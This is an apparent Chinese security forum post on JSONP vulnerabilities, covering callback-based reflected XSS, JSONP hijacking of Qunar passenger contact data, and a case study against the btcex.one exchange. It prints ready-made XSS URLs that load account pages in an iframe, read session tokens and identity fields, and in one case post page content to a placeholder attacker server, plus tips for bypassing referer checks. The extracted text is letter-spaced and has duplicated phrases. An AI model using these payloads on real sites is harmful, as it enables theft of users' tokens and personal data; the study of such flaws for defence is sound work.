搜索

[18783] 2019-06-04_jsonp相关漏洞

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2019-06-04_jsonp相关漏洞 j s o n p 相 关 漏 洞 c r h u a   h u a s e c   2 0 1 9 - 0 6 - 0 4 0 1 — 介 绍                 j s o n p （ j s o n   w i t h   p a d d i n g ） 是 基 于 J S O N   格 式 的 为 处 理 跨 域 请 求 资 源 而 产 生 的 处 理 方 案 ， 远 程 调 用   J S O N   文 件 来 实 现 数 据 传 递 。 利 用 s c r i p t 元 素 的 开 放 策 略 ， 网 页 可 以 得 到 从 其 他 来 源 动 态 产 生 的 j s o n 数 据 ， 因 此 可 以 用 来 实 现 跨 域 。               当 某 网 站 使 用 J S O N P   的 方 式 来 跨 域 （ 一 般 为 子 域 ） 传 递 用 户 认 证 后 的 敏 感 信 息 时 ， 攻 击 者 可 以 构 造 恶 意 的   J S O N P   调 用 页 面 ， 诱 导 被 攻 击 者 访 问 来 达 到 截 取 用 户 敏 感 信 息 的 目 的 。 举 一 个 例 子 : 这 里 出 现 了 c a l l b a c k ， 它 的 作 使 用 就 是 回 调 我 们 的 j s o n 。 w e b 程 序 如 果 通 过 这 种 方 式 跨 域 之 后 ， 攻 击 者 可 以 在 自 己 的 虚 假 页 面 中 发 起 恶 意 的 j s o n p 请 求 ， 这 就 引 来 了 安 全 问 题 。 比 如 ： 如 果 服 务 器 端 的 u s e r i n f o 接 口 支 持 j s o n p ， 那 就 会 使 虚 假 页 面 成 功 执 行 g e t U s e r I n f o 函 数 ， 从 而 导 致 安 全 问 题 。 0 2 — 漏 洞 挖 掘                 j s o n p 实 际 上 是 使 用 s c r i p t 方 式 获 取 j a v a s c r i p t 代 码 ， 进 而 执 行 ， 因 此 可 以 在 我 们 自 己 的 页 面 中 ， 使 用 j a v a s c r i p t   h o o k 的 方 式 ， 让 其 执 行 我 们 自 定 义 的 回 调 函 数 ， 获 取 敏 感 信 息 。 ( 1 )   X S S 未 对 回 调 的 函 数 进 行 过 滤 ， 可 以 修 改 为 x s s   p a y l o a d 。 造 成 反 射 型 X S S 。 < ? p h p $ c a l l b a c k   =   $ _ G E T [ ' c a l l b a c k ' ] ; p r i n t   $ c a l l b a c k   .   ' ( { " i d "   :   " 1 " , " n a m e "   :   " c r h u a " } ) ; ' ; ? > < s c r i p t > f u n c t i o n   g e t U s e r I n f o ( v ) {         a l e r t ( v . u s e r n a m e ) ; } < / s c r i p t > < s c r i p t   s r c = " h t t p : / / w w w . h u a s e c . c o m / u s e r i n f o ? c a l l b a c k = g e t U s e r I n f o " > < / s c r i p t >
( 2 ) j s o n p   劫 持 如 果 j s o n p 传 输 的 数 据 是 较 为 敏 感 的 数 据 ， 但 是 服 务 端 并 没 有 对 检 测 ， 那 么 攻 击 者 只 需 要 伪 造 一 个 页 面 ， 类 似 C S R F 攻 击 ， 就 可 以 获 取 敏 感 数 据 了 。 去 哪 儿 网 获 取 联 系 人 信 息 功 能 回 调 函 数 未 验 证 来 源 ， 导 致 第 三 方 网 站 可 以 任 意 读 取 用 户 联 系 方 式 。 将 以 上 代 码 放 在 我 们 的 v p s 上 ， 只 要 用 户 登 录 了 去 哪 网 ， 然 后 我 们 构 造 的 链 接 ， 就 会 暴 露 其 敏 感 信 息 。 r e f e r e r < s c r i p t > f u n c t i o n   q u n a r c a l l b a c k ( j s o n ) {     a l e r t ( J S O N . s t r i n g i f y ( j s o n ) ) } < / s c r i p t > < s c r i p t   s r c = " h t t p : / / t i n f o . q u n a r . c o m / t i c k e t / p a s s e n g e r / p a s s e n g e r _ i n f o . j s p ? & t y p e = p a s s e n g e r & c a l l b a c k = q u n a r c a l l b a c k " > < / s c r i p t >
0 3 — 案 例 币 壹 交 易 所 之 点 我 链 接 就 泄 露 隐 私 的 多 种 姿 势 币 壹 交 易 所 之 点 我 链 接 就 泄 露 隐 私 的 多 种 姿 势 0 、 首 先 找 到 了 一 个 x s s ， 能 够 直 接 弹 框 出 来 1 、 重 要 敏 感 信 息 完 全 暴 露 在 测 试 过 程 中 ， 发 现 只 要 访 问 下 列 u r l ， 那 么 所 有 敏 感 信 息 就 会 完 全 暴 露 u r l : h t t p s : / / w w w . b t c e x . o n e / l o g i n ? m a r k e t = k e t ' % 2 2 ( ) % 2 6 % 2 5 < a c x > < s c r i p t > a l e r t ( 1 ) < / s c r i p t > h t t p s : / / w w w . b t c e x . o n e / s e n c o d v a i l ? t y p e = 6
搭 配 x s s 利 用 ， 把 获 得 到 的 信 息 劫 持 发 送 到 服 务 器 。 P O C : 同 时 这 也 是 一 种 获 得 t o k e n 的 方 法 。 2 、 我 发 现 直 接 从 / l o g i n 登 录 之 后 在 进 入 / u s e r / c e n t e r ， t o k e n _ I d 会 直 接 在 u r l 中 显 示 出 来 ， 并 且 此 时 访 问 任 意 u r l 都 将 这 个 t o k e n 带 上 u r l 。 h t t p s : / / w w w . b t c e x . o n e / l o g i n ? m a r k e t = k e t ' % 2 2 ( ) % 2 6 % 2 5 < a c x > < s c r i p t > ( f u n c t i o n ( ) { v a r   i f r = d o c u m e n t . c r e a t e E l e m e n t ( " i f r a m e " ) ; i f r . s e t A t t r i b u t e ( " i d " , " o o x x " ) ; i f r . s e t A t t r i b u t e ( " s r c " , " h t t p s : / / w w w . b t c e x . o n e / s e n c o d v a i l ? t y p e = 6 " ) ; i f r . o n l o a d   =   f u n c t i o n ( )   { v a r   t e s t = d o c u m e n t . b o d y . i n n e r H T M L           $ . p o s t ( ‘ 你 的 v p s 地 址 ’ , { t e s t : t e s t } ) ;               } ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r ) ; } ) ( ) < / s c r i p t >
同 时 ， 即 使 不 在 u r l 中 显 示 出 来 ， 直 接 访 问 / u s e r / c e n t e r , t o k e n 会 直 接 返 回 。 那 么 t o k e n I d 很 容 易 被 偷 到 ， 有 三 个 思 路 ： 一 是 诱 导 用 户 通 过 登 录 后 访 问 一 是 诱 导 用 户 通 过 登 录 后 访 问 h a c k e r 的 服 务 器 ， 通 过 的 服 务 器 ， 通 过 r e f e r e r 拿 到 拿 到 t o k e n I d ， 搭 配 后 面 的 跳 转 漏 洞 ， 可 以 控 制 用 户 的 着 陆 点 。 ， 搭 配 后 面 的 跳 转 漏 洞 ， 可 以 控 制 用 户 的 着 陆 点 。 二 是 上 面 已 经 写 过 的 ， 直 接 获 取 二 是 上 面 已 经 写 过 的 ， 直 接 获 取 t o k e n ； ； 三 是 利 用 三 是 利 用 x s s 嵌 入 嵌 入 i f r a m e 直 接 将 直 接 将 t o k e n 偷 到 后 偷 到 后 a j a x 发 给 发 给 h a c k e r ， 这 样 用 户 只 要 点 击 一 次 ， 就 能 偷 到 他 的 ， 这 样 用 户 只 要 点 击 一 次 ， 就 能 偷 到 他 的 t o k e n 。 。 这 里 我 简 单 演 示 一 下 ， 因 为 手 头 没 有 v p s ， 没 写 a j a x 。 简 单 的 将 t o k e n 弹 窗 ， 证 明 t o k e n 可 偷   。
P O C : 但 是 我 后 期 测 试 发 现 ， 该 t o k e n 是 伪 t o k e n ， 服 务 器 端 并 没 有 做 任 何 认 证 ， 也 就 是 说 不 加 t o k e n ， c s r f 也 是 能 够 成 功 的 。 3 、 身 份 认 证 明 文 传 输 ， 搭 配 x s s 能 够 轻 易 取 得 。 p o c : h t t p s : / / w w w . b t c e x . o n e / l o g i n ? m a r k e t = k e t ' % 2 2 ( ) % 2 6 % 2 5 < a c x > < s c r i p t > ( f u n c t i o n ( ) { v a r   i f r   =   d o c u m e n t . c r e a t e E l e m e n t ( " i f r a m e " ) ; i f r . s e t A t t r i b u t e ( " i d " , " o o x x " ) ; i f r . s e t A t t r i b u t e ( " s r c " , " h t t p s : / / w w w . b t c e x . o n e / u s e r / c e n t e r " ) ; i f r . o n l o a d   =   f u n c t i o n ( )   {               v a r   t o k e n = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t B y I d ( ' t o k e n I d ' ) . g e t A t t r i b u t e ( ' v a l u e ' ) ;               a l e r t ( t o k e n ) ;               } ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r ) ; } ) ( ) < / s c r i p t > h t t p s : / / w w w . b t c e x . o n e / l o g i n ? m a r k e t = k e t ' % 2 2 ( ) % 2 6 % 2 5 < a c x > < s c r i p t > ( f u n c t i o n ( ) { v a r   i f r   =   d o c u m e n t . c r e a t e E l e m e n t ( " i f r a m e " ) ; i f r . s e t A t t r i b u t e ( " i d " , " o o x x " ) ; i f r . s e t A t t r i b u t e ( " s r c " , " h t t p s : / / w w w . b t c e x . o n e / u s e r / r e a l i n f o " ) ; i f r . o n l o a d   =   f u n c t i o n ( )   { v a r   a = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 0 ] . i n n e r T e x t ; v a r b = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 1 ] . i n n e r T e x t ; v a r   c = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 2 ] . i n n e r T e x t ; v a r d = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 3 ] . i n n e r T e x t ; v a r   e = d o c u m e n t . g e t E l e m e n t B y I d ( ' o o x x ' ) . c o n t e n t W i n d o w . d o c u m e n t . g e t E l e m e n t s B y C l a s s N a m e ( ' f o r m - g r o u p ' ) [ 4 ] . i n n e r T e x t ; a l e r t ( e ) ; } ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r ) ; } ) ( ) < / s c r i p t >
这 样 只 要 用 户 点 击 了 我 的 恶 意 链 接 ， 就 能 拿 到 他 的 身 份 信 息 。 案 例 来 源 ： h t t p s : / / d v p n e t . i o / d e t a i l ? i d = 1 9 8 1 0 4 — B y p a s s j s o n 劫 持 的 挖 掘 过 程 的 r e f e r e r 绕 过 机 制 : ( 1 ) 正 则 不 严 谨 如 正 常 请 求 的 r e f e r e r ： w w w . 1 2 3 . c o m ， 我 们 可 以 利 用 子 域 伪 造 r e f e r e r 等 。 ( 2 ) 空 r e f e r e r 这 里 直 接 删 去 删 去 r e f e r e r 是 最 简 单 的 一 个 方 法 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理